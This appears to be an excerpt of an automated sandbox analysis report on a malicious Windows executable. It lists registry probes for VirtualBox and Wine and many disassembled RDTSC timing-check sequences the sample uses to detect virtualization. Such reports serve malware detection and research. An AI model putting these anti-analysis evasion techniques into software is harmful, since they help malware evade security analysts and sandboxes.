Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 8EF4F2 second address: 8EF4F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 8EF4F7 second address: 8EEDD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FD0B5348056h 0x00000009 jng 00007FD0B5348056h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 jns 00007FD0B5348064h 0x00000019 push dword ptr [ebp+122D10E1h] 0x0000001f cld 0x00000020 call dword ptr [ebp+122D1808h] 0x00000026 pushad 0x00000027 jp 00007FD0B534805Eh 0x0000002d jl 00007FD0B5348058h 0x00000033 pushad 0x00000034 popad 0x00000035 xor eax, eax 0x00000037 xor dword ptr [ebp+122D2A06h], edi 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 mov dword ptr [ebp+122D2A06h], esi 0x00000047 mov dword ptr [ebp+122D2D0Ch], eax 0x0000004d jmp 00007FD0B5348062h 0x00000052 mov esi, 0000003Ch 0x00000057 stc 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c mov dword ptr [ebp+122D1928h], ecx 0x00000062 lodsw 0x00000064 cmc 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 mov dword ptr [ebp+122D18A2h], edx 0x0000006f mov dword ptr [ebp+122D1928h], edi 0x00000075 mov ebx, dword ptr [esp+24h] 0x00000079 jo 00007FD0B534805Ch 0x0000007f mov dword ptr [ebp+122D1928h], edx 0x00000085 push eax 0x00000086 push eax 0x00000087 push edx 0x00000088 push eax 0x00000089 push edx 0x0000008a push ebx 0x0000008b pop ebx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: 8EEDD4 second address: 8EEDDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A67D83 second address: A67D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A66E46 second address: A66E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A66FD2 second address: A66FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A676DD second address: A676E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6A875 second address: A6A889 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6A889 second address: A6A88E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6A88E second address: A6A919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1965h], edx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FD0B5348058h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push A7BC0B05h 0x0000002f pushad 0x00000030 jc 00007FD0B5348058h 0x00000036 pushad 0x00000037 popad 0x00000038 jmp 00007FD0B5348063h 0x0000003d popad 0x0000003e add dword ptr [esp], 5843F57Bh 0x00000045 jns 00007FD0B5348060h 0x0000004b push 00000003h 0x0000004d push 00000000h 0x0000004f mov dword ptr [ebp+122D19A7h], edx 0x00000055 push 00000003h 0x00000057 mov edi, 168D17CEh 0x0000005c movsx edi, bx 0x0000005f push EF545AD5h 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 push esi 0x00000068 pop esi 0x00000069 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6A9D4 second address: A6AAB5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD0B548336Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b adc cx, EFA5h 0x00000010 push 00000000h 0x00000012 or dh, 00000000h 0x00000015 call 00007FD0B5483369h 0x0000001a jnl 00007FD0B5483370h 0x00000020 push eax 0x00000021 jmp 00007FD0B5483374h 0x00000026 mov eax, dword ptr [esp+04h] 0x0000002a jmp 00007FD0B548336Dh 0x0000002f mov eax, dword ptr [eax] 0x00000031 jmp 00007FD0B5483379h 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a jne 00007FD0B5483378h 0x00000040 jmp 00007FD0B5483372h 0x00000045 pop eax 0x00000046 push 00000000h 0x00000048 push ecx 0x00000049 call 00007FD0B5483368h 0x0000004e pop ecx 0x0000004f mov dword ptr [esp+04h], ecx 0x00000053 add dword ptr [esp+04h], 0000001Bh 0x0000005b inc ecx 0x0000005c push ecx 0x0000005d ret 0x0000005e pop ecx 0x0000005f ret 0x00000060 clc 0x00000061 push 00000003h 0x00000063 sbb cx, 7726h 0x00000068 push 00000000h 0x0000006a mov dl, al 0x0000006c push 00000003h 0x0000006e push F09AF794h 0x00000073 pushad 0x00000074 je 00007FD0B5483374h 0x0000007a jmp 00007FD0B548336Eh 0x0000007f push eax 0x00000080 push edx 0x00000081 pushad 0x00000082 popad 0x00000083 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6AAB5 second address: A6AB05 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 309AF794h 0x00000012 mov dx, di 0x00000015 lea ebx, dword ptr [ebp+1244F76Ch] 0x0000001b jmp 00007FD0B5348064h 0x00000020 mov dword ptr [ebp+122D191Eh], ebx 0x00000026 xchg eax, ebx 0x00000027 jng 00007FD0B5348060h 0x0000002d push eax 0x0000002e push ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 js 00007FD0B5348056h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6AB5C second address: A6ABF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 mov dword ptr [esp], eax 0x0000000b and edi, 42685FDDh 0x00000011 mov edx, 10700C00h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007FD0B5483368h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 adc esi, 13B2FA4Bh 0x00000038 call 00007FD0B5483369h 0x0000003d push edi 0x0000003e jmp 00007FD0B5483375h 0x00000043 pop edi 0x00000044 push eax 0x00000045 jnc 00007FD0B548338Bh 0x0000004b mov eax, dword ptr [esp+04h] 0x0000004f ja 00007FD0B548336Ah 0x00000055 mov eax, dword ptr [eax] 0x00000057 pushad 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6ABF9 second address: A6AC20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD0B5348067h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6AC20 second address: A6ACC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483378h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov edi, dword ptr [ebp+122D2E48h] 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FD0B5483368h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007FD0B5483368h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 mov ecx, dword ptr [ebp+122D2F49h] 0x0000004e mov dword ptr [ebp+122D1965h], ebx 0x00000054 push 00000003h 0x00000056 call 00007FD0B548336Ah 0x0000005b add di, 137Bh 0x00000060 pop ecx 0x00000061 mov edx, eax 0x00000063 push E4D0E2D3h 0x00000068 pushad 0x00000069 push ecx 0x0000006a push edx 0x0000006b pop edx 0x0000006c pop ecx 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007FD0B5483372h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A6ACC2 second address: A6AD19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor dword ptr [esp], 24D0E2D3h 0x00000011 and edi, dword ptr [ebp+122D1A90h] 0x00000017 lea ebx, dword ptr [ebp+1244F777h] 0x0000001d push edi 0x0000001e jmp 00007FD0B5348062h 0x00000023 pop edx 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 jmp 00007FD0B534805Fh 0x0000002d push eax 0x0000002e pop eax 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A54F78 second address: A54F7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A54F7E second address: A54F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A54F82 second address: A54F94 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD0B5483366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FD0B548336Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A89EEB second address: A89EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jng 00007FD0B5348056h 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A065 second address: A8A06A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A06A second address: A8A06F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A06F second address: A8A07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A54F63 second address: A54F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A54F69 second address: A54F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0B548336Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A35F second address: A8A395 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jl 00007FD0B5348058h 0x00000011 pushad 0x00000012 jmp 00007FD0B5348066h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A546 second address: A8A54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A54C second address: A8A550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A694 second address: A8A6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FD0B5483366h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A6A2 second address: A8A6C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FD0B5348056h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A946 second address: A8A958 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD0B5483366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FD0B5483366h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8A958 second address: A8A96D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AAB3 second address: A8AAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AAB9 second address: A8AAC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AAC0 second address: A8AAC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AAC5 second address: A8AACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AACB second address: A8AAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AAD7 second address: A8AADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AADD second address: A8AAFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483371h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FD0B5483366h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AAFC second address: A8AB00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AB00 second address: A8AB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD0B5483377h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8AB1F second address: A8AB2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8B4A6 second address: A8B4F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Eh 0x00000007 jnl 00007FD0B548336Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FD0B5483378h 0x00000015 jmp 00007FD0B548336Dh 0x0000001a push eax 0x0000001b push edx 0x0000001c ja 00007FD0B5483366h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8B4F6 second address: A8B4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8B4FA second address: A8B4FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8B617 second address: A8B61D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8B61D second address: A8B625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8B625 second address: A8B62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8B62A second address: A8B636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 js 00007FD0B5483366h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A8DABF second address: A8DAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A91D08 second address: A91D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FD0B5483375h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A92388 second address: A92392 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A92392 second address: A923CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0B5483370h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jno 00007FD0B5483370h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007FD0B548336Ah 0x00000020 push esi 0x00000021 pop esi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A96C0C second address: A96C1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A96C1C second address: A96C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A96C20 second address: A96C51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348063h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD0B5348061h 0x0000000f jbe 00007FD0B5348056h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9701E second address: A97024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A97024 second address: A97028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A97028 second address: A97040 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Dh 0x00000007 push ebx 0x00000008 jg 00007FD0B5483366h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A972EE second address: A972F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9A231 second address: A9A237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9A237 second address: A9A285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jno 00007FD0B534805Eh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 ja 00007FD0B5348058h 0x00000018 jmp 00007FD0B534805Bh 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 jmp 00007FD0B5348060h 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c jno 00007FD0B5348056h 0x00000032 pop ecx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9A9BB second address: A9A9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9A9BF second address: A9A9C9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9A9C9 second address: A9A9D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD0B5483366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9B09B second address: A9B0B0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD0B534805Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9B17A second address: A9B180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9B293 second address: A9B2A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9B2A5 second address: A9B2AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9B2AB second address: A9B2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9B375 second address: A9B37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9B4C1 second address: A9B4E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD0B5348067h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9D410 second address: A9D414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
